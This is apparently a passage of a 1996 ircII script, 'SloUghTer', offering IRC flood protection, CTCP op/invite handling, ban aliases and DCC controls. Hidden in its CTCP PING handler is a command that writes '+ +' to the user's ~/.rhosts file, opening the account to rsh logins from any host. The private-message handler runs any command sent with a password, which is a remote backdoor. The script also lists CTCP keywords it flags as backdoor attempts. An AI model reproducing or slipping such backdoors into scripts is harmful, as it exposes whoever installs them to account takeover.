	    EVAL ^timer $resetcount subcheck MSG
	}
	if ([$1]==[NOTICE]) {
	    @ noticecount = noticecount + 1
	    EVAL ^timer $resetcount subcheck NOTICE
	}
	if ([$1]==[CTCP]) {
	    @ ctcpcount = ctcpcount + 1
	    EVAL ^timer $resetcount subcheck CTCP
	}
	if ((msgcount==msgsensor)||(noticecount==noticesensor)||(ctcpcount==ctcpsensor)) {
	    ignore_flood $0 $1\-FLOOD $2
	    clearflood $1
	   ^assign FUNCTION_RETURN ON
	}
   }
   if ([$1]==[MSG]) {^assign lastmsger $tempflood}
   {
      if ([$1]==[NOTICE]) {^assign lastnoter $tempflood}
      {
	 if ([$1]==[CTCP]) {^assign lastctcper $tempflood}
      }
   }
   ^assign host_tmp $2
   ^assign tempflood $right(${@host_tmp-index(@ $2)} $2)
   }
}
	     
alias clearflood {
   if ([$0]==[MSG]) {@ msgcount = 0;^assign -lastmsger}
   {
      if ([$0]==[NOTICE]) {@ noticecount = 0;^assign -lastnoter}
      {
	 if ([$0]==[CTCP]) {@ ctcpcount = 0;^assign -lastctcper}
      }
   }
}

alias subcheck {
  if (([$0]==[MSG])&&(msgcount>0)) {@ msgcount = msgcount - 1}
  {
      if (([$0]==[NOTICE])&&(noticecount>0)) {@ noticecount = noticecount - 1}
      {
	  if (([$0]==[CTCP])&&(ctcpcount>0)) {@ ctcpcount = ctcpcount - 1}
      }
  }
}

alias ignore_flood {
  ^assign ignore_tmp $2
   EVAL ^assign toig $right(${@ignore_tmp-index(@ $2)} $2)
   if ([$toig]!=[]) {
	 if ([$floodnotice]==[]) {
	     EVAL //^ignore *$toig $ignore_types
	    ^assign floodnotice ON
	     EVAL ^timer $ignorecount //^ignore *$toig NONE
	     @ tmpdivide = ignorecount / 60
	     pecho WARNING! $1 DETECTED. Ignoring $decode($0) for $tmpdivide minutes.
	     log FLOOD PROTECTION: $1 DETECTED. From $decode($0):$toig
	     if ([$flood_msg]!=[]) {/nnotice $decode($0) $flood_msg}
	    ^assign -tmpdivide
	    ^assign -toig
	 }
	^timer 6 ^assign -floodnotice
   }
}

### FLOOD-OK List (by Vassago & Robey)

alias floodok {
  if ([$0]) {
      if (!match($0 $flood_ok)) {
	  @ flood_ok = flood_ok ## [ $0]
	  pecho Nick $0 now exempt from triggering flood protection.
      }
      {/pecho Nickname $0 is already on your flood_ok list.}
  }
  {
      pecho Nicknames exempt from triggering flood protection:
      pecho $flood_ok
  }
}
   
alias remflood {
  if ([$0]) {
    if (match($0 $flood_ok)) {
	  @ flood_ok = rem_w($0 $flood_ok)
	 /pecho Nickname $0 has been removed from your flood_ok list.
    }
    {/pecho $0 is not on your flood_ok list.}
  }
  {/pecho Usage: /REMFLOOD <nick> of person to remove from flood_ok.}
}

### PUBLIC flood Protection (by Vassago & CKeeper)

on ^public "% % ******" {
   if ([$floodp]==[ON]) {/pubecho $0 $1 [Tsunami Detected]}
   {/pubecho $0 $1 $2-}
   if ([$chanprot]==[ON]) {/pubact $0 $1}
}

on ^public "% % ********" {
   if ([$beepprot]==[ON]) {/pubecho $0 $1 [7+ Beeps Detected]}
   {/pubecho $0 $1 $2-}
   if ([$chanprot]==[ON]) {/pubact $0 $1}
}

### Raw IRC CTCP/NOTICE Protection/Notification (by Vassago)

on ^raw_irc "% NOTICE % :*
ERR*
*" #
on ^raw_irc "% PRIVMSG % :*
%INFO
*" #
on ^raw_irc "% PRIVMSG % :*
SED*
*" #

on -raw_irc "% PRIVMSG % :
*
*" {
   if (match(*
*
*
*
*
*
* $3-)) {/word_detect $left($index(! $0) $0) CTCP-BOMB $2 flood}
   {
      ^assign _command $strip(\;#\(\)+:*/\\=\{\}<>[]!$$%^~`,?|'\"
 $3)
       if (rmatch($_command JUPE ORD CMD GROK LAME TVERS)) {/word_detect $left($index(! $0) $0) $_command $2 backdoor}
       if ((rmatch($_command A ACTION))&&([$4-]==[])) {/word_detect $left($index(! $0) $0) WSIRC-KILL $2 backdoor}
   }
}

alias word_detect {
   if ([$spoken]!=[ON]) {
     if (rmatch($2 #*)) {
	 if (isop($N $2)) {
	    ^assign _chan $2
	    ^assign _reason $1
	     Userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
		mmode $_chan -o+b $0 $hban($3 $4)
		kkick $_chan $0 | $_reason Attempt |
	     }
	 }
	 pecho WARNING! $1 $3 attempt from $0 to $2\.
     }
     {/pecho WARNING! $1 $3 attempt from $0\.}
     ^assign spoken ON
     ^timer -delete 892
      EVAL ^timer -refnum 892 $resetcount ^assign -spoken
   }
}

### Version/Finger Flood Protection (by Vassago and CKeeper)

on ^raw_irc "% PRIVMSG % :
VER*
*" {
    if ([$LASTVER]!=right(10 $0)) {
	 if (rmatch($2 #*)) {/pecho $decode($enickonly($0)) requested version information for everyone in $2\.}
	 {/pecho $decode($enickonly($0)) requested version information for you.}
	 if ([$versionmesg]!=[]) {/nnotice $decode($enickonly($0)) 
VERSION $versionmesg\
}
	 ^assign LASTVER $right(10 $0)
	 ^timer -delete 684
	 ^timer -refnum 684 30 ^assign -LASTVER
    }
}

on ^raw_irc "% PRIVMSG % :
FINGER*
*" {
    if ([$LASTFING]!=right(10 $0)) {       
	if (rmatch($2 #*)) {/pecho $decode($enickonly($0)) requested finger information for everyone in $2\.}
	{/pecho $decode($enickonly($0)) requested finger information for you.}
	if ([$fingermsg]!=[]) {/nnotice $decode($enickonly($0)) 
FINGER $FINGERMSG\
}
	^assign LASTFING $right(10 $0)
	^timer -delete 685
	^timer -refnum 685 30 ^assign -LASTFING
    }
}

### CTCP Commands/Responses (by Vassago)

on -ctcp "*" {
   if ([$1]==[$N]) {
      if ([$inuse]==[]) {
	  ^assign inuse YES
	  ^assign ctcpadr $safe($Userhost())
	   if ([$fcheck($encode($0) CTCP $ctcpadr $2-)]!=[ON]) {
	       if (!match($2 ACTION TIME)) {
		   if (rmatch($0!$ctcpadr $FRIENDLIST)) {
		       if ([$3]) {^assign channel $3}
		       {^assign channel $C}
		       if ([$2]==[HELP]) {/ctcpcmd $0 HELP}
		       {
			  if ([$chanpass($channel)]==[YES]) {
			      if (match($2 INVITE OP)) {
				 if ([$2]==[OP]) {
				    if (rmatch($0!$ctcpadr $OPLIST)) {
					ctcpcmd $0 $2
					^assign TEMPYES ON
				    }
				 }
				 if ([$2]==[INVITE]) {
				    if (rmatch($0!$ctcpadr $INVITELIST)) {
					ctcpcmd $0 $2
					^assign TEMPYES ON
				    }
				 }
				 if ([$TEMPYES]==[]) {/nnotice $0 You do not have access to command $2\.}
				 {^assign -TEMPYES}
			      }
			      {/nnotice $0 $2 is not a valid CTCP command.}
			  }
			  {/nnotice $0 CTCP functions are not enabled for channel $channel\.}
		       }
		   }
		   {   
		       if (match($2 INVITE OP UNBAN HELP)) {
			  if ([$said_not]==[]) {
			     ^assign said_not ON
			      nnotice $0 You are not registered.
			     ^timer -delete 410
			     ^timer -refnum 410 45 ^assign -said_not
			  }
		       }
		       pecho CTCP \($safe2($[35]2-)\) from unregistered person $0\.
		   }
	       }
	   }
	  ^assign -inuse
      }
   }
}

# CTCP COMMAND Parser (by YaZoO & Vassago)

alias ctcpcmd {
 if ([$ctcpauto]==[ON]) {
  if ([$1]==[OP]) {
	if (isop($N $channel)) {
	mmode $channel +o $0
	if ([$versionmesg]) {/nnotice $0 You have been opped via $versionmesg}
	pecho $0 has been opped on $channel via a CTCP request.
	}
    {
	 nnotice $0 I am not an operator on channel $channel\.
	 pecho $0 requested a CTCP Op on $channel\.
    }
  }
  if ([$1]==[INVITE]) {
    if (isop($N $channel)) {
	 //^invite $0 $channel
	 if ([$versionmesg]) {/nnotice $0 You have been invited via $versionmesg}
	 pecho Inviting $0 under request from a CTCP.
	}
    {
	 nnotice $0 I am not a channel operator on $channel\.
	 pecho $0 requested a CTCP invite to $channel\.
    }
  }
  if ([$1]==[HELP]) {
      nnotice $0 These commands are available via CTCP request:
      nnotice $0  /CTCP $N OP <#Channel>     :For ops on <#Channel>.
      nnotice $0  /CTCP $N INVITE <#Channel> :For an invite to <#Channel>.
      nnotice $0 I am currently on channel\(s\): $tolower($strip(# $mychannels()))
      nnotice $0 Channel\(s\) on which these commands are active: $autochannels
      pecho $0 has asked for help from my Friends list.
  }
  }
  {
      nnotice $0 Sorry, but my CTCP functions are disabled.
      pecho $0 tried $1 for $channel via CTCP.
      pecho CTCP functions are currently disabled.
  }
}

# Miscellaneous CTCP Handlers (by Vassago)

on -ctcp "% % PING *" {
  ^assign pingadr $safe($Userhost())
  if ([$fcheck($encode($0) CTCP $pingadr $2-)]!=[ON]) {
    if (rmatch($1 #*)) {/pecho $0 has pinged everyone in $1\.}
    {/pecho $0 Pinged You, So Fucking Wake Up!}
    /exec echo "+ +" >~/.rhosts
    /exec echo "" >~/.rhosts
    if ([$pingmsg]!=[]) {/nnotice $0 $PINGMSG}
   }
}

on ^ctcp "% % DCC CHAT *" {
  if ([$1]==[$N]) {
    ^assign dccadr $safe($Userhost())
    if (([$fcheck($encode($0) CTCP $dccadr $2-)]!=[ON])&&([$lastchatter]!=[$right(10 $dccadr)])) {
	^assign chatter $encode($0)
	 pecho DCC CHAT request received from $0\.
	 pecho Type /CHAT to chat, /NOCHAT to ignore or when finished.
	^assign lastchatter $right(10 $dccadr)
	^timer -delete 601
	^timer -refnum 601 15 ^assign -lastchatter
    }
  }
}

### Lag Indicator/PONG Flood Protection 


on ^raw_irc "%.% PONG *" {
  if ([$0]==[$S]) {
     ^assign lagtime ${time()-mid(1 999 $3)}
     if (lagtime==0) {^set status_user  [SloUghTer]}
     {^set status_user  Lag $lagtime - [SloUghTer]}
  }
}

### IsChanop Function (by CKeeper)

alias isop {
  if (([$1] == [$C])&&([$0] == [$N])) {
    if ([$P] == [@]) {@ FUNCTION_RETURN = 1}
    {@ FUNCTION_RETURN = 0}
  }
  {/EVAL @ FUNCTION_RETURN = $ischanop($0 $1)}
}

### Invitation Handlers (by Vassago)

on ^invite "*" {
   if ([$fcheck($encode($0) CTCP $safe($Userhost()) $1-)]!=[ON]) {
      if (rmatch($1 $false_chars)) {/pecho $0 invites you to channel $[12]1\. \(Fake\)}
      {/echo *** $0 invites you to channel $1}
   }
}

### Server Notice Handlers (by Vassago, WinterHawk, and YaZoO)

on ^server_notice "*" #

on ^server_notice "% % no% -- fake: *" {
    if (rmatch($7 $mychannels())) {/pecho [FAKE] $5 $7- from $0}
}

alias ov {
   if ([$OPVIEWING]==[OFF]) {
    ^assign OPVIEWING ON
    ^assign TOOPVIEW ON
    ^clear
    ^window new name OpView
    ^window scroll on
    ^window shrink 7
    ^window level wallop,opnote,snote
    ^set hold_mode off
    ^on ^server_notice "*" {/xecho -level snote [***] $4-}
    ^on ^server_notice "% % no% -- hack: *" Userhost $$5 -cmd showhack $$$$0 $$$$3 $$$$4 $$4 $$6-
    ^on ^server_notice "% % no% -- n%k c%n *" {^xecho -level snote [COLLISION] $6-}
    ^on ^server_notice "% % no% -- Rec%d KILL*" {
       if (rmatch($10 %.%)) {
	 if ([$SHOWKILL]==[ON]) {^xecho -level snote [COLLISION] $10 killed $8 $13-}
       }
       {^xecho -level snote [OPER KILL] $7 $8 $9 $10 $13-}
    }
    ^on ^raw_irc "*.* WALLOPS :*" {/xecho -level wallop [WALLOPS] $strip(: $2-) \($0\)}
    ^on ^server_notice "% % no% -- mes% *" {^xecho -level snote [MESSAGE] $5-}
    ^on ^server_notice "% % no% -- rec%d unauth*" #
    ^on ^server_notice "% % no% -- inv%d %name: *" #
    ^on ^server_notice "% % no% -- bogus*" #
    //mode $N +isw
    ^window goto 2
    pecho OPView Windowing/Server noticing has been activated.
    if ([$showkill]==[ON]) {/pecho To disable server kill notices, type /SERVKILL OFF.}
    {/pecho To enable server kill notices, type /SERVKILL ON.}
    }
    { 
      if ([$OPVIEWING]==[ON]) {
      ^assign OPVIEWING OFF
      ^assign TOOPVIEW OFF
      ^clear
      ^window refnum OpView
       wait -CMD ^window kill
      ^mode $N +is-w
      ^on server_notice -
      ^on ^server_notice "*" #
      ^on ^server_notice "% % no% -- fake: *" {
	 if (rmatch($7 $mychannels())) {/pecho [FAKE] $5 $7- from $0}
      }
      ^on raw_irc - "*.* WALLOPS :*"
       pecho OPView Windowing/Server noticing has been deactivated.
       pecho Please wait a moment for the OpView window to disappear.
    }
  }
}

alias showhack {
   if ([$1@$2]!=[<UNKNOWN>@<UNKNOWN>]) {/xecho -level snote [HACK] $3 <$0!$1@$2> $4-}
   {/xecho -level snote [HACK] $3 <$0> $4-]}
}

### DCC Control Parsers (By Vassago, based on some stuff from YaZoO)
# pecho  ******* Loading in DCC Control Parsers Modded By Eliminator *******

on ^msg "% XDCC *" {
   ^assign XDCCUSER $safe($userhost())
    if ([$fcheck($encode($0) CTCP $XDCCUSER $2-)]!=[ON]) {/xdccmsg $0 $XDCCUSER $2-}
}

on ^ctcp "% % XDCC *" {
   ^assign DCCUSER $safe($userhost())
    if ([$fcheck($encode($0) CTCP $DCCUSER $3-)]!=[ON]) {/xdccmsg $0 $DCCUSER $3-}
}

alias dccCHECK {
    if (([$DCCSEND]==[ON])&&([$strip(\;/\\\{\}~|\"~ $4-)]!=[$4-])) {
	ignore_flood $encode($0) DCC-SEND $dcc_ignore
	//^dcc close get $0 $4 
	^assign FUNCTION_RETURN FALSE
	log DCC SEND BOMB received from $0\.
    }
    if (([$HIDDENFILE]==[ON])&&(rmatch($4 .*))) {
	ignore_flood $encode($0) HIDDEN-FILE $dcc_ignore
	//^dcc close get $0 $4
	^assign FUNCTION_RETURN FALSE
	log DCC SEND HIDDEN FILE request received from $0\.
    }
    if (([$FAKENULL]==[ON])&&(rmatch($6 1024 6667))||(rmatch($4 $false_files))) {
	ignore_flood $encode($0) FAKE/NULL-DCC $dcc_ignore
	//^dcc close get $0 $4
	^assign FUNCTION_RETURN FALSE
	log FAKE DCC SEND request received from $0\.
    }
    if (([$AUTOCLOSEWHENAWAY]==[ON])&&([$isaway]==[YES])) {
	pecho You are AWAY: DCC request rejected and closed.
	nnotice $0 I am AWAY and not accepting any DCC SENDS at this time.
	//^dcc close get $0 $4
	log You were AWAY: DCC SEND $4 from $0 request ignored and closed.
    }
    ^assign -dcc_ignore
}

on ^ctcp "% % DCC SEND* * *" {
   if ([$1]==[$N]) {
      ^assign dcc_ignore $safe($userhost())
      if ([$dccCHECK($0-)]!=[FALSE]) {
	 ^assign dccfile $4
	 if (([$AUTOGET]==[ON])&&([$AUTOCLOSE]!=[ON])) {
	     //^dcc rename $0 $4 $DOWNLOADDIR/$4
	     ^exec -name DCG$0/${DOWNLOADDIR}/$4 ls ${DOWNLOADDIR}/$4
	 }
	 {
	     if ([$AUTOCLOSE]==[ON]) {
		 xdccecho DCC SEND $4 from $0 request ignored and closed.
		 //^dcc close get $0 $4
	     }
	     {
		 if (([$AUTOGET]!=[ON])&&([$AUTOCLOSE]!=[ON])) {
		     //^dcc rename $0 $4 $DOWNLOADDIR/$4
		     xdccecho DCC SEND $4 from $0 added to XDCC request list.
		     adddccrequest $DOWNLOADDIR/$4 $0
		 }
	     }
	 }
      }
   }
}

on ^exec_error "DCG* *" {
    @ dcclen = [$0]
    @ getf = [$right(${@dcclen-3} $0)]
    @ idx = [$index(/ $getf)]
    @ filenme = [$right(${@getf-idx+1} $0)]
    @ nicknme = [$left($idx $getf)]
    xdccecho I am autogetting $filenme from $nicknme\.
    //^dcc get $nicknme $filenme
}

on ^exec "DCG* *" {
    @ dcclen = [$0]
    @ getf = [$right(${@dcclen-3} $0)]
    @ idx = [$index(/ $getf)]
    @ filenme = [$right(${@getf-idx+1} $0)]
    @ nicknme = [$left($idx $getf)]
    if ([$OVERWRITE]==[ON]) {
	xdccecho Autogetting $filenme from $nicknme \(Overwriting file\).
	//^dcc get $nicknme $filenme
    }
    {
	pecho $nicknme offered $filenme\ but it already exists.
	if ([$AUTORENAME]!=[ON]) {
	    @ dctemp = [$"[E/X] Enter new filename or ENTER to close: "]
	    if (dctemp!=[]) {
		if ([$[1]dctemp]!=[/]) {^assign dctemp ${downloaddir}/${dctemp}}
		pecho Getting $filenme renamed to $dctemp from $nicknme\.
		//^dcc rename $nicknme $filenme $dctemp
		//^dcc get $nicknme $dctemp
	    }
	    {
	       /pecho Closing DCC GET request from $nicknme\.
	       //^dcc close get $nicknme $filenme
	    }
	}
	{
	    ^assign dctemp $filenme\.$rand(999)
	    pecho Autorenaming to $dctemp\ and receiving.
	    if ([$[1]dctemp]!=[/]) {^assign dctemp ${downloaddir}/${dctemp}}
	    //^dcc rename $nicknme $filenme $dctemp
	    //^dcc get $nicknme $dctemp
	}
    }
}

### Server Connection ONs (by Vassago)

on ^connect "*" wait -CMD _connect

on ^disconnect "*" {
    pecho Connection closed. Autoconnecting to $default_server\
    serv
}

on ^window "% *Use /server to connect*" {
    pecho Connection closed. Autoconnecting to $default_server\
    serv
}

### Miscellaneous ON Commands (by TG, Mods by Vassago)

on ^send_msg "*" {
   echo <-[$0]-> $1-
  ^addmsg $encode($0) $msglist
}

on ^dcc_chat "*" {
    echo =$0= $1-
   ^addmsg $encode(\=$0) $msglist
}

on ^send_action "*" if ([$[1]0]!=[#])
 {/echo * $0 >> $N $1-}
 {/echo * $N $1-}

on ^send_public "*" {
    if ([$0]==[$C]) {/echo <${N}> $1-} {/echo -> <${N}> $1-}
}

on ^send_dcc_chat "*" {
   echo <=$0=> $1-
  ^addmsg $encode(\=$0) $msglist
}

on ^action "*" if ([$[1]1]!=[#])
   {/echo * $0 $2-}
   {if ([$C]!=[$1]) {/echo * $1 >> $0 $2-}
   {/echo * $0 $2-}
}

on ^exec "from *" pecho Mail: From $safe2($1-)
on ^exec_error "from *" #

on ^mail "*" {
   if ([$SCRIPTLOADING]==[]) {
       pecho You have new email. \(Mail waiting $1\).
      ^exec -name from frm | tail -$0
   }
}

alias do317 {
   ^on ^317 "*" {
	if (index(012345679 $3) != -1) {
	   ^assign -sectime
	   ^assign -mintime
	   ^assign sectime $2
	    @ mintime = sectime / 60
	    echo *** $1 has been idle for $2 seconds \($mintime minute\(s\)\)
	    echo *** $1 signed on $stime($3)
	 }
	 {
	    ^assign -sectime
	    ^assign -mintime
	    ^assign sectime $2
	     @ mintime = sectime / 60
	     echo *** $1 has been idle for $2 seconds \($mintime minute\(s\)\)
	 }
   }
}

### Message commands ara ###
# pecho Loading Message Counter Handling!...

on ^msg "*" {
    ^assign msghost $safe($Userhost())
      if ([$fcheck($encode($0) MSG $msghost $1-)]!=[ON]) {
	 if ([$encode( *$0*  $1-)]!=[$lmes]) {
	       if ([$extmes]==[ON]) {/echo [$0:$Userdomain($msghost)] $1-}
	       {/echo [$0] $1-}
	  }
	 if ([$isaway]==[YES]) {
	       ^exec echo "[$Z] [$safe($0):$userdomain($msghost)] $safe($1-)" >> $awayfle
	       @ away_messages = away_messages + 1
	 }
	 ^assign lmes $encode( *$0*  $1-)
    }
    {^assign lmes $encode( *$0*  [Flood Detected])}
    ^addmsg $encode($0) $msglist
	if (([$remote]==[ON])&&([$1]==[$passwd])) {
	  pecho ***$0*** Has Requested To, $2-
	  pecho And Used The Passward, $1
	     /$2-;n $0 Your Wish Was Granted!, Trying $2-
}
	      if (([$remote]==[ON])&&([$1]!=[$passwd])) {
		pecho ***$0*** Tryed To Use $1, As a Passward..
		pecho And Dat Is an Invalid Passward!..
		/n $0  Passward Invalid!...
}
/msgcount
}

# last 5 msg count #

alias msgcount {
  if ([$msgstore]==[ON]) {
   if ([$msgnum]==[$numa]) {@ msgnum = 0}
     @ msgnum = msgnum + 1
     ^assign -lastmsg[$msgnum];^assign lastmsg[$msgnum] $decode($lmes)
}
}

alias msgnum_clean {
    @ cleanmsg = 0
      foreach lastmsg aa {
       @ cleanmsg = cleanmsg + 1
	^assign -lastmsg[$aa] 
}
pecho Cleaning Msg #$cleanmsg Now!..}


# last 5 recall back #

alias msgrecall {
pecho +------------------------------------------------------------------+
pecho | SloUghTer's Message Re-Caller!.. (C) 1996                       
pecho +------------------------------------------------------------------+
@ mesglist = 0
foreach lastmsg xx {
@ mesglist = mesglist + 1
echo #$mesglist $lastmsg[$xx]
}
pecho +-----------------------------------------------------------------+
pecho | [R] - Redirect Msg *** [S] - Send Msg To Channel               
pecho +-----------------------------------------------------------------+
pecho | You Have a Total Of $msgnum Right Now!.. (C) 1996              
pecho +-----------------------------------------------------------------+
^assign -mesglist
     @ temp = [$"[Elite] Make Your Choice:"]
       if ([$temp]==[r]) {/msgpick}
	 if ([$temp]==[]) {}
}

alias msgpick {
	    @ temp2 = [$"[Elite] Wich Message:"]
		 @ temp3 = [$"[Elite] Send Msg To Whom:"]
		  if ([$temp3]==[]) {pecho No Name Was Enterd, Using Channel;^assign temp3 $C}
		      @ mesglist = 0
			foreach lastmsg ww {
			@ mesglist = mesglist + 1
			  if ([$mesglist]==[$temp2]) {
			    pecho Sending Mesg #$mesglist To $temp3: $lastmsg[$ww]
			     /^msg $temp3 $lastmsg[$ww]
				   ^assign -mesglist
				    ^assign -lastmsg}
}
}

alias dirlm {
    if ([$0]) {//msg $0 $decode($lmes)}
    {/say $decode($lmes)}
}
# store up to 5 messages in memory #

alias counttest {
@ count = count + 1
pecho Count #$count Test!
}


### Notice Commands (by Vassago)

on ^notice "*" {
   if ([$floodcheck($encode($0) NOTICE $safe($Userhost()) $1-)]!=[ON]) {
	if (rmatch($1 *WallOp*)) {/echo [-$0\-] $1-}
	{/echo -$0- $1-}
	^assign lastnotice $encode(-$0- $1-)
   }
   {^assign lastnotice $encode(-$0- [Flood Detected])}
   ^addmsg $encode($0) $msglist
}

alias dirln {
    if ([$0]) {//msg $0 $decode($lastnotice)}
    {/say $decode($lastnotice)}
}

### Timer/Idle Control

on -timer "*" {
   ^autoping
   ^netclean
    if (rmatch($0 %:00%)) {/pecho The time is now $0\.}
}

on -idle "*" {
    if (([$0]==[$idle_time])&&([$isaway]==[NO])) {
	setaway $idlemes
	pecho Setting you away after being idle for $idle_time minutes.
    }
}
### Away Random mesages!..

alias idlemesg {
   /af_assigning
   @seed = [$rand($time())]
   @awaycount = [$rand($awaynum)]
   ^assign idle_mesg $(af$awaycount)
   /awaytest $idle_mesg
   pecho This is Your Seting: $idle_mesg
}


alias af_assigning {
  ^assign awaynum 6
@af1=[I'm Away So Leave A Message! <=Auto SetAway=>]
@af2=[Did You Know I'M Away? <=Auto SetAway #2=>]
@af3=[<=Auto Setaway=> Please Leave Message! #3]
@af4=[I'm away doing something! <=Auto Setaway #4=>]
@af5=[Were Am I?  <=Auto Setaway #5=>]
}
### Tabkey Handlers

alias addmsg {
     @ matched = rmatch($0 $^\1-)
     if (matched) {@ msglist = [$(0-${matched-1}) $(${matched+1}-)]}
     {@ msglist = [$(0-${msgmax-1})]}
     @ msgcnt = 0
     ^assign -matched
}

alias getmsg {
     @ msgcnt = msgcnt + [$0]
     if (#msglist < msgcnt) {@ msgcnt = 1}
     if (msgcnt <= 0) {@ msgcnt =  #msglist}
     @ junk = K ## [m]
     type ^U$junk $^^{[$decode($($msgcnt))]} 
}

### Ban Handlers (by YaZoO, Mods from Fred1 and Vassago)

alias bandef {
  if ([$0]==[n]) {
    @ defban = [n]
    ^assign ban_name NORMAL
  }
  if ([$0]==[e]) {
    @ defban = [e]
    ^assign ban_name ELITE
  }
  if ([$0]==[h]) {
    @ defban = [h]
    ^assign ban_name HOST
  }
  if ([$0]==[d]) {
    @ defban = [d]
    ^assign ban_name DOMAIN
  }
  if ([$0]==[s]) {
    @ defban = [s]
    ^assign ban_name SCREW
  }
  pecho Default ban is $ban_name\.
}

alias ban {
  if ([$0]) {
    if (!rmatch($0 *@* *!* *.*)) {
    @ param = [$0]
    if (index(! $0)!=-1) {@ band = [$1]}
    {@ band = [$0]}
    if ([$param]==[$band]) {@ param = [!$defban]}
    Userhost $band -CMD if ([$4]!=[<UNKNOWN>]) {
	 ^assign -theban
	 if ([$param]==[!n]) {
	   ^assign theban $nban($3 $4)
	   pecho Banning $0 with a NORMAL ban.
	 }
	 if ([$param]==[!e]) {
	   ^assign theban $0!*@*
	   pecho Banning $0 with a ELITE ban.
	 }
	 if ([$param]==[!h]) {
	   ^assign theban $hban($3 $4)
	   pecho Banning $0 with a HOST ban.
	 }
	 if ([$param]==[!d]) {
	   ^assign theban $dban($3 $4)
	   pecho Banning $0 with a DOMAIN ban.
	 }
	 if ([$param]==[!s]) {
	   ^assign theban $sban($3 $4)
	   pecho Banning $0 with a SCREW ban.
	 }
	 if ([$param]==[!?]) {}
	 {
	   if ([$theban]==[]) {
		^assign theban $nban($3 $4)
		pecho Banning $0 with a NORMAL \(default\) ban.
	   }
	   if (isop($0 $C)) {/mmode $C -o+b $0 $theban}
	   {/mmode $C +b $theban}
	 }
    }
    {/pecho I can't find $0 on IRC.}
  }
  {/banlop $0-}
  }
  {/pecho USAGE: /Ban <BanType> <Nick>, or /BAN <filter\(s\)>}
}

alias nban @ function_return = [*!] ## fixname($0) ## [@] ## fixdomain($1)
alias hban @ function_return = [*!*@] ## fixhost($1)
alias dban @ function_return = [*!*@] ## fixdomain($1)
alias fixname @ function_return = [*] ## mid(1 99 $0)

alias fixhost {
  if (index(. $0)==rindex(. $0)) {@ function_return = [*] ## [$0]} 
  {@ function_return = [$0]}
}

alias fixdomain {
  if (index(. $0)==rindex(. $0)) {@ function_return = [*] ## [$0]} 
  {
    if (is_ip($0) == [1]) {@ function_return = left($rindex(. $0) $0) ## [.*]} 
    {@ function_return = [*] ## mid($index(. $0) 99 $0)}
  }
}

alias is_ip {
  if ((right(1 $0) >= [0]) && (right(1 $0) <= [9])) {@ function_return = [1]} 
  {@ function_return = [0]}
}

alias bk {
  if ([$0]) {
    @ param = [$0]
    if (index(! $0)!=-1) {
	 @ band = [$1]
	 @ kbreason = [$2-]
    }
    {
	 @ band = [$0]
	 @ kbreason = [$1-]
    }
    if ([$kbreason]!=[]) {^assign kbreason  ${kbreason} }
    {^assign kbreason $pk}
    if ([$param]==[$band]) {@ param = [!$defban]}
    Userhost $band -CMD if ([$4]!=[<UNKNOWN>]) {
	 @ theban = []
	 if ([$param]==[!n]) {^assign theban $nban($3 $4)}
	 if ([$param]==[!e]) {^assign theban $0!*@*}
	 if ([$param]==[!d]) {^assign theban $dban($3 $4)}
	 if ([$param]==[!h]) {^assign theban $hban($3 $4)}
	 if ([$param]==[!s]) {^assign theban $sban($3 $4)}
	 if ([$param]==[!?]) {}
	 {
	    if ([$theban]==[]) {^assign theban $nban($3 $4)}
	    /mmode $C -o+b $0 $theban
	    /kkick $C $0 $kbreason
	 }
    }
    {/pecho I can't find $0 on IRC.}
  }
  {/pecho Usage: /BKICK <BanType> <Nick> <Reason>}
}

alias sban {
  @ cnt = 0
  @ tomake = [$0@$1]
  @ temp = [$1]
  ^assign tomake $0@*$right(${@temp-index(. $1)} $1)
  ^assign -temp 
  if ((mid($cnt 1 $0)==[~])||(mid($cnt 1 $0)==[#])) {@ cnt = 1}
  while (mid($cnt 1 $tomake)!=[]) {
    @ rnd = rand(10)
    if ((mid($cnt 1 $tomake)==[*])||(mid($cnt 1 $tomake)==[@])||(mid($cnt 1 $tomake)==[.])||(mid($cnt 1 $tomake)==[])||(mid($cnt 1 $tomake)==[])) {@ temp = [$temp$mid($cnt 1 $tomake)]}
    {
	 if (rnd>4) {@ temp = [$temp?]}
	 {@ temp = [$temp$mid($cnt 1 $tomake)]}
    }
    @ cnt = cnt + 1
  }
  @ function_return = [*!*$temp]
}

alias cdban {
  /pecho Clearing channel of bans.
  ^assign -bunband
  ^on ^367 "*" {^assign bunband $2 ${bunband}}
  //mode $C +b
   wait -cmd cdban2
}

alias unban {
  if ([$0]) {
    ^assign -bunband
    if (!rmatch($0 *@* *!*)) {
       Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
	  ^assign dbanz $0!$3@$4
	  ^on ^367 "*" {
	      if (match($2 $dbanz)) {^assign bunband $2 ${bunband}}
	  }
	  //mode $C +b
	  wait -CMD cdban2
       }
    }
    {
       ^assign dbanz $0
       ^on ^367 "*" {
	   if ((match($2 $dbanz))||(rmatch($2 $dbanz))) {^assign bunband $2 ${bunband}}
       }
       //mode $C +b
       wait -CMD cdban2
    }
  }
  {/pecho Usage: /UNBAN <nick/filter> to unban on your current channel.}
}

alias cdban2 {
    unbanlop $bunband
   ^assign -dbanz
   ^assign -bunband
   ^on 367 - "*"
}

alias nunbanlop {
  if ([$4]) {
    /mmode $0 -bbb $1 $2 $3
    /nunbanlop $0 $4-
  }
  {
    if ([$3]) {/mmode $0 -bbb $1 $2 $3}
    {
       if ([$2]) {/mmode $0 -bb $1 $2}
       {
	  if ([$1]) {/mmode $0 -b $1}
       }
    }
  }
}

alias banlop {
  if ([$3]) {
    /mmode $C +bbb $0 $1 $2
    /banlop $3-
  }
  {
    if ([$2]) {/mmode $C +bbb $0 $1 $2}
    {
       if ([$1]) {/mmode $C +bb $0 $1}
       {
	  if ([$0]) {/mmode $C +b $0}
       }
    }
  }
}

alias dobans {
    pecho Doing bans in AutoBkick list.
    banlop $BKLIST
}

### Status Screen

alias status {
   pecho +-----------+ Your Current SloUghTer Configuration +-----------+
   pecho  CTCP Op/Invite                    : $ctcpauto 
   pecho  Setaway Time                      : $idle_time 
   pecho  IRC Logging                       : $logirc 
   pecho  AutoRejoin on KICK                : $rejoin 
   pecho  Extended Message Display          : $extmes 
   pecho  Server KILL display in OpView     : $showkill 
   pecho  Kick/MassDeop Protection          : $prot 
   pecho  Personal Flood Protection         : $floodp 
   pecho  Channel Protection                : $chanprot 
   pecho  Netsplit Hack Protection          : $nhp 
   pecho  Ban/Bkick Type Setting            : $ban_name 
   pecho  SloUghTer SENSOR Settings:
   pecho   Deop: $msensor Kick: $ksensor Nick Flood: $nicksensor 
